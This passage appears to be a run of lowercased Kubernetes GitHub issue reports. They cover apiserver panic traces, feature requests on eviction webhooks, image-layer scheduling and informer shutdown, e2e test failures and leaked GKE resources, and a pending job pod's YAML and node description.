\t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc423abf640, 0x8e60ae0, 0xc423bc0f00, 0xc425f33200, 0xc42b5e80c0 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r    \r \r in k8s 1.7.15\r    \r 2018-08-08t16:43:10.155770244z \tpanic: runtime error: invalid memory address or nil pointer dereference\r 2018-08-08t16:43:10.155778545z  signal sigsegv: segmentation violation code=0x1 addr=0x38 pc=0x13080af \r 2018-08-08t16:43:10.15578665z \r 2018-08-08t16:43:10.155794266z goroutine 283370  running :\r 2018-08-08t16:43:10.155802138z k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc42fb7bf18, 0x1, 0x1 \r 2018-08-08t16:43:10.155810691z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r 2018-08-08t16:43:10.155820207z panic 0x35e92c0, 0x798c590 \r 2018-08-08t16:43:10.155830294z \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r 2018-08-08t16:43:10.155839316z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.auditeventfrom 0x0, 0x0, 0xc421bb6360 \r 2018-08-08t16:43:10.155848311z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/context.go:158 +0x2f\r 2018-08-08t16:43:10.155857251z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x0, 0x0, 0x7809f20, 0xc421bb6360, 0xc4298dc160, 0x9, 0xc4298dc16a, 0x2, 0x78022e0, 0xc4208a9650, ... \r 2018-08-08t16:43:10.155866794z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:108 +0xab\r 2018-08-08t16:43:10.155876643z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x0, 0x0, 0x77ddfe0, 0xc4217f0380, 0x7809f20, 0xc421bb6360, 0xc4298dc160, 0x9, 0xc4298dc16a, 0x2, ... \r 2018-08-08t16:43:10.15588616z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:135 +0x165\r 2018-08-08t16:43:10.155895782z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc424d2c500, 0x77ddfe0, 0xc4217f0380, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.155905237z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:80 +0x10e\r 2018-08-08t16:43:10.155925835z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.updateresource.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.155935594z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:916 +0xfb2\r 2018-08-08t16:43:10.155945467z k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp 0xc4203a4880, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156130049z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:188 +0xe25\r 2018-08-08t16:43:10.156148672z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4203d91c0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.15615763z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r 2018-08-08t16:43:10.156166819z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4200488c0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156175652z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r 2018-08-08t16:43:10.156185829z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c6843f, 0x17, 0xc4201765a0, 0xc4200488c0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156213522z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r 2018-08-08t16:43:10.156223679z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420329240, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156232638z \t<autogenerated>:64 +0x86\r 2018-08-08t16:43:10.156241218z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4217e5740, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156250132z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x26e\r 2018-08-08t16:43:10.156259844z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4201084d0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156269058z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r 2018-08-08t16:43:10.156278418z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c44120, 0xe, 0xc4207ea2d0, 0xc4201084d0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156291109z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r 2018-08-08t16:43:10.156315312z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4203a1300, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156325362z \t<autogenerated>:64 +0x86\r 2018-08-08t16:43:10.156333856z k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc421820700, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156342634z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x122\r 2018-08-08t16:43:10.156352099z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42213c580, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156360875z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r 2018-08-08t16:43:10.156369615z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4287f00e0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156378272z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r 2018-08-08t16:43:10.15638734z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c47727, 0xf, 0xc42c37c900, 0xc4287f00e0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156396239z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r 2018-08-08t16:43:10.156405244z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc422d830c0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156413416z \t<autogenerated>:64 +0x86\r 2018-08-08t16:43:10.156421089z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156429687z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:50 +0x30c\r 2018-08-08t16:43:10.156438502z net/http.handlerfunc.servehttp 0xc421d41a40, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156446335z \t/usr/local/go/src/net/http/server.go:1942 +0x44\r 2018-08-08t16:43:10.156454212z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156462739z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:47 +0x226a\r 2018-08-08t16:43:10.156471182z net/http.handlerfunc.servehttp 0xc421d41c00, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.15647883z \t/usr/local/go/src/net/http/server.go:1942 +0x44\r 2018-08-08t16:43:10.156487362z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156506868z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:73 +0x2b0\r 2018-08-08t16:43:10.156517012z net/http.handlerfunc.servehttp 0xc4284bc050, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156525607z \t/usr/local/go/src/net/http/server.go:1942 +0x44\r 2018-08-08t16:43:10.156533586z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156541869z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r 2018-08-08t16:43:10.156550912z net/http.handlerfunc.servehttp 0xc422d830e0, 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156558949z \t/usr/local/go/src/net/http/server.go:1942 +0x44\r 2018-08-08t16:43:10.156567373z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x78022e0, 0xc4208a9650, 0xc42124b900 \r 2018-08-08t16:43:10.156576038z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x11b\r 2018-08-08t16:43:10.156584626z net/http.handlerfunc.servehttp 0xc422d83180, 0x7ffff7999580, 0xc426ebc500, 0xc42124b900 \r 2018-08-08t16:43:10.156592901z \t/usr/local/go/src/net/http/server.go:1942 +0x44\r 2018-08-08t16:43:10.15660329z k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc422d831a0, 0x780bb20, 0xc426ebc500, 0xc42124b900, 0xc4223cd560 \r 2018-08-08t16:43:10.156618317z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:89 +0x8d\r 2018-08-08t16:43:10.156628076z created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r 2018-08-08t16:43:10.156636857z \t/workspace/anago-v1.7.15-beta.0.16+8c7c1c8b0ce086/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91 +0x1c0\r

what would you like to be added  :\r \r it would be great if i could intercept the \ pods/eviction\  call for actions with side effects. it is right now possible to register a webhook, but it has no effect.\r \r   why is this needed  :\r \r right now it is not possible for controllers to see if pods which they manage are evicted or not. intercepting \ pods/eviction\  and performing acthions  e.g. a patch on a resource  is one way of finding that out. it is then possible to perform custom actions before the eviction is finally granted.

bringing machine 'master' up with 'virtualbox' provider... bringing machine 'minion-1' up with 'virtualbox' provider... ==> master: box 'kube-fedora21' could not be found. attempting to find and install...     master: box provider: virtualbox     master: box version: >= 0 ==> master: box file was not detected as metadata. adding it directly... ==> master: adding box 'kube-fedora21'  v0  for provider: virtualbox     master: downloading: http://opscode-vm-bento.s3.amazonaws.com/vagrant/virtualbox/opscode_fedora-21_chef-provisionerless.box ==> master: successfully added box 'kube-fedora21'  v0  for 'virtualbox'! ==> master: importing base box 'kube-fedora21'... ==> master: matching mac address for nat networking... ==> master: setting the name of the vm: kubernetes_master_1443656877945_24341 ==> master: clearing any previously set network interfaces... ==> master: preparing network interfaces based on configuration...     master: adapter 1: nat     master: adapter 2: hostonly ==> master: forwarding ports...     master: 22 => 2222  adapter 1  ==> master: running 'pre-boot' vm customizations... ==> master: booting vm... ==> master: waiting for machine to boot. this may take a few minutes...     master: ssh address: 127.0.0.1:2222     master: ssh username: vagrant     master: ssh auth method: private key     master: warning: connection timeout. retrying...     master:      master: vagrant insecure key detected. vagrant will automatically replace     master: this with a newly generated keypair for better security.     master:      master: inserting generated public key within guest...     master: removing insecure key from the guest if it's present...     master: key inserted! disconnecting and reconnecting using new ssh key... ==> master: machine booted and ready! ==> master: checking for guest additions in vm... ==> master: configuring and enabling network interfaces... the following ssh command responded with a non-zero exit status. vagrant assumes that this means the command failed!  /bin/systemctl restart rpcbind nfs  stdout from the command:  stderr from the command:  job for nfs-server.service failed. see \ systemctl status nfs-server.service\  and \ journalctl -xe\  for details.

the current version of the k8s  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/priorities/priorities.go l219   provides a way to select a host to running the container,whether the candidate host contains the image to be downloaded, but the method is still not fast enough and smart  need to download the full image . under normal circumstances, the candidate host already contains some image layers which is contained in the image to be downloaded, the layers do not need to repeat the download. it can be improved based on image layer to scheduling the host. this can reduce the image download traffic and improve container startup speed, especially in the public cloud and public image repository.  improved mainly contains the following three parts: - image layer info collection module:   running on the node, collecting all the image layer info of the node, by a predetermined strategy  timing, event triggers, user-triggered  reported to the master node. -  image layer info analysis module:   running on the master node, analyze all the information which is reported by image layer info collection module image label or id on each node, the image layer label or id, the image layer size, etc. , all the information can be initiative to collect timing, event triggers, user-triggered . - based on image layer info scheduling module:   running on the master node, supports scheduling based on the image layer info provide by image layer info analysis module.   possible scheduling strategies:   1. select a node to deploy the container which is the smallest of the total size of the images to be downloaded  calculating the minimum size difference between the to be downloaded mirror layer and the downloaded image layer  .   2. select a node to deploy the container which is the least amount of the total number of the images to be downloaded calculate the minimum number difference between the to be downloaded mirror layer and the downloaded image layer .   3. calculated the weighted average of the total mirror layer capacity and the total mirror layer number, select the lowest average of the node to deploy container.   4. the new container scheduling strategies based on image layer info can work with the existing scheduling strategies,such as based on cpu usage, memory usage; the container scheduling module will calculate cpu usage, memory usage, the total amount of container image to be downloaded, and get a score; pre-set the weight of resources, weighted average of nodes through these weights. select a node with the minimum weighted average value to deploy container.  @davidopp @alfred-huangjian @kevin-wangzefeng

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.5-upgrade-cluster-new/79/  multiple broken tests:  failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 18 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-00ef22e0  n1-standard-2               2016-12-07t08:45:00.012-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-0c5c3e60-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip     status +gke-bootstrap-e2e-default-pool-0c5c3e60-7kod  us-central1-a  n1-standard-2               10.240.0.2   104.154.240.31  running +gke-bootstrap-e2e-default-pool-0c5c3e60-w2bm  us-central1-a  n1-standard-2               10.240.0.4   104.154.189.70  running +gke-bootstrap-e2e-default-pool-0c5c3e60-xoyw  us-central1-a  n1-standard-2               10.240.0.3   35.184.12.97    running +name                                          zone           size_gb  type         status +gke-bootstrap-e2e-default-pool-0c5c3e60-7kod  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-0c5c3e60-w2bm  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-0c5c3e60-xoyw  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-0341acfc-89dcb70e-bc9b-11e6-9d60-42010af00036  bootstrap-e2e  10.96.1.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-0c5c3e60-w2bm  1000 +gke-bootstrap-e2e-0341acfc-8acf6402-bc9b-11e6-9d60-42010af00036  bootstrap-e2e  10.96.2.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-0c5c3e60-xoyw  1000 +gke-bootstrap-e2e-0341acfc-f26abe6d-bc9c-11e6-a251-42010af0002e  bootstrap-e2e  10.96.0.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-0c5c3e60-7kod  1000 +gke-bootstrap-e2e-0341acfc-all           bootstrap-e2e  10.96.0.0/14      icmp,esp,ah,sctp,tcp,udp +gke-bootstrap-e2e-0341acfc-ssh           bootstrap-e2e  104.198.187.7/32  tcp:22                                  gke-bootstrap-e2e-0341acfc-node +gke-bootstrap-e2e-0341acfc-vms           bootstrap-e2e  10.240.0.0/16     tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-0341acfc-node     issues about this test specifically:  33373  33416  34060   failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658

when diagnosing ebs issues, @guoshimin posted this comment describing getting additional information from xenstore.  we should investigate that further and collect those logs and/or use them in the node problem detector.\r \r https://github.com/kubernetes/kubernetes/issues/31891 issuecomment-257766760\r \r    \r $ sudo xenstore ls error/device/vbd\r 268449280 = \ \ \r  error = \ 16 device in use; refusing to close\ \r 268448768 = \ \ \r  error = \ 16 device in use; refusing to close\ \r 268449024 = \ \ \r  error = \ 16 device in use; refusing to close\ \r    \r \r

this is an improvement/change request.\r \r   what happened  :\r  sharedindexinformer.run stopch <-chan struct{}    k8s.io/client-go/tools/cache/shared_informer.go  calls  sharedprocessor.run    and  controller.run    which spawn 2 goroutines for each attached listener and 1 goroutine. when  stopch  is closed,  sharedindexinformer.run  returns, not waiting for all goroutines to finish.\r \r   what you expected to happen  :\r it'd be great if  sharedinformer.run    method waited for all goroutines to finish.\r currently it is hard to write deterministic tests and code that dynamically starts/stops informers and adds listeners.\r \r p.s. also there is a slight inconsistency in naming - for example  reflector.run  /  rununtil ,  sharedprocessor.run    start goroutines and return, while other  run  methods block. would be great to have  start  methods that start goroutines  like e.g. informer factories  and return and  run  methods that block.

@kubernetes/sig-testing-feature-requests \r \r the e2e tests define things like  --gcp-project  https://github.com/kubernetes/kubernetes/blob/ce6d92546c9f5203bb1c7808c57d0b344b63593d/test/e2e/framework/test_context.go l206\r \r it is not always the case that tests follow the test_context configuration, an example from storage that does not use --project or --zone flags:\r https://github.com/kubernetes/kubernetes/blob/ce6d92546c9f5203bb1c7808c57d0b344b63593d/test/e2e/storage/pd.go l452\r \r \r this gives our e2e tests implicit dependencies on global state  zone env vars and/or gcloud config commands , which makes our tests brittle and hard to repro.\r \r we should a  create helper methods for gcloud commands that pass all the right test_context flags to gcloud b  identify and migrate all gcloud commands to these methods and c  write a unit test that validate that gcloud is never used directly.\r \r

tl;dr:   we should disable this test in the 1.7 branch since it is expected to fail against a 1.8 cluster\r \r ---\r \r the following test is failing when running a 1.7 client against a 1.8 cluster on gce:\r \r > kubectl alpha client  k8s.io  kubectl run scheduledjob should create a scheduledjob\r \r failure message:\r \r > generator \\\ scheduledjob/v2alpha1\\\  not found\r \r it looks like this maybe related to this  pr  https://github.com/kubernetes/kubernetes/pull/49930  to remove the scheduledjob alpha api.\r \r  test grid  https://k8s-testgrid.appspot.com/sig-cli skew-cluster1.7-kubectl1.8-gce  link to failure history\r \r test originally added here:\r  commit  https://github.com/kubernetes/kubernetes/commit/f0b97b8ffa75939ed5515d27a2e77dfe4a91701a diff-540d8a63e8b72b4e05dda54ae37f77d2 \r  pr  https://github.com/kubernetes/kubernetes/pull/36021 \r \r cc @kubernetes/sig-cli-test-failures \r cc @soltysh @fabianofranz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r master instance sometimes try rollback my elb security group to default.\r e.g. \r i set a rule http 443 to only 172.20.0.0/16\r sometimes it changes back to 0.0.0.0/0  default \r \r https://imgur.com/a/ajnbn\r \r   what you expected to happen  :\r not so sure\r \r   how to reproduce it  as minimally and precisely as possible   :\r when i try to create/delete deployments or create/delete ingress resources.\r maybe just one of them, i can't pin point.\r \r   anything else we need to know?  :\r the other clusters are fine. only one has this problem\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.x\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools: kops\r - others:\r \r 

offshoot from https://github.com/kubernetes/kubernetes/pull/53720 issuecomment-336232742\r \r using a single global source is bad, as multiple goroutines can be in lock contention for the rng  though ideally they could've used different sources .\r also a single rng source can bottleneck throughput in such cases.\r it's also worth thinking how much this is going to help? maybe it's not that bad currently where each binary has its own source and iiuc it's apiserver that is mostly generating names and that is anyway a single sub-component doing that  i might be missing sth here .\r \r cc @smarterclayton @kubernetes/sig-api-machinery-bugs

bug report\r \r  \r   what happened  :\r i created couple jobs to run a set of reports. all the jobs are using same job template. changes in the template are:\r - jobname\r - environment variables\r two jobs were running, third job couldn't be scheduled. \r \r pod yaml\r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ job\ ,\ namespace\ :\ default\ ,\ name\ :\ pmx-report-2514\ ,\ uid\ :\ aa63a635-bbfd-11e7-a8a2-126551773d70\ ,\ apiversion\ :\ batch\ ,\ resourceversion\ :\ 9103330\ }}\r     kubernetes.io/limit-ranger: 'limitranger plugin set: cpu request for container\r       pmx-report'\r   creationtimestamp: 2017-10-28t16:33:01z\r   generatename: pmx-report-2514-\r   labels:\r     app: pmx-report\r     controller-uid: aa63a635-bbfd-11e7-a8a2-126551773d70\r     job-name: pmx-report-2514\r     release: releasename\r   name: pmx-report-2514-f0j9r\r   namespace: default\r   ownerreferences:\r   - apiversion: batch/v1\r     blockownerdeletion: true\r     controller: true\r     kind: job\r     name: pmx-report-2514\r     uid: aa63a635-bbfd-11e7-a8a2-126551773d70\r   resourceversion: \ 9109073\ \r   selflink: /api/v1/namespaces/default/pods/pmx-report-2514-f0j9r\r   uid: aa65fedd-bbfd-11e7-a8a2-126551773d70\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchexpressions:\r           - key: pmx\r             operator: in\r             values:\r             - run\r     podantiaffinity:\r       requiredduringschedulingignoredduringexecution:\r       - labelselector:\r           matchexpressions:\r           - key: app\r             operator: in\r             values:\r             - pmx-report\r         topologykey: failure-domain.beta.kubernetes.io/zone\r   containers:\r   - env:\r     - name: function\r       value: process_all\r     - name: vendor\r       value: google\r     - name: report_type\r       value: new_keywords_performance_report\r     - name: start_date\r       value: \ 20170801\ \r     - name: end_date\r       value: \ 20170802\ \r     - name: client_id\r       value: 102-123-8539\r     image: tenone/pmx-holiday-reporting:master-00000048\r     imagepullpolicy: always\r     name: pmx-report\r     resources:\r       requests:\r         cpu: 100m\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-63jrx\r       readonly: true\r   dnspolicy: clusterfirst\r   imagepullsecrets:\r   - name: pmx-secret-dockerhub\r   restartpolicy: never\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/notready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - name: default-token-63jrx\r     secret:\r       defaultmode: 420\r       secretname: default-token-63jrx\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-10-28t16:33:01z\r     message: 'no nodes are available that match all of the following predicates::\r       insufficient cpu  1 , matchinterpodaffinity  6 , matchnodeselector  7 , podtoleratesnodetaints\r        1 .'\r     reason: unschedulable\r     status: \ false\ \r     type: podscheduled\r   phase: pending\r   qosclass: burstable\r    \r \r describe node\r    \r name:               ip-172-40-152-230.ec2.internal\r roles:              node\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=r4.large\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-east-1\r                     failure-domain.beta.kubernetes.io/zone=us-east-1c\r                     kubernetes.io/hostname=ip-172-40-152-230.ec2.internal\r                     kubernetes.io/role=node\r                     node-role.kubernetes.io/node=\r                     pmx=run\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  sat, 28 oct 2017 11:35:43 -0400\r conditions:\r   type                 status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----                 ------  -----------------                 ------------------                ------                       -------\r   networkunavailable   false   sat, 28 oct 2017 11:35:45 -0400   sat, 28 oct 2017 11:35:45 -0400   routecreated                 routecontroller created a route\r   outofdisk            false   sat, 28 oct 2017 13:31:26 -0400   sat, 28 oct 2017 11:35:43 -0400   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure       false   sat, 28 oct 2017 13:31:26 -0400   sat, 28 oct 2017 11:35:43 -0400   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure         false   sat, 28 oct 2017 13:31:26 -0400   sat, 28 oct 2017 11:35:43 -0400   kubelethasnodiskpressure     kubelet has no disk pressure\r   ready                true    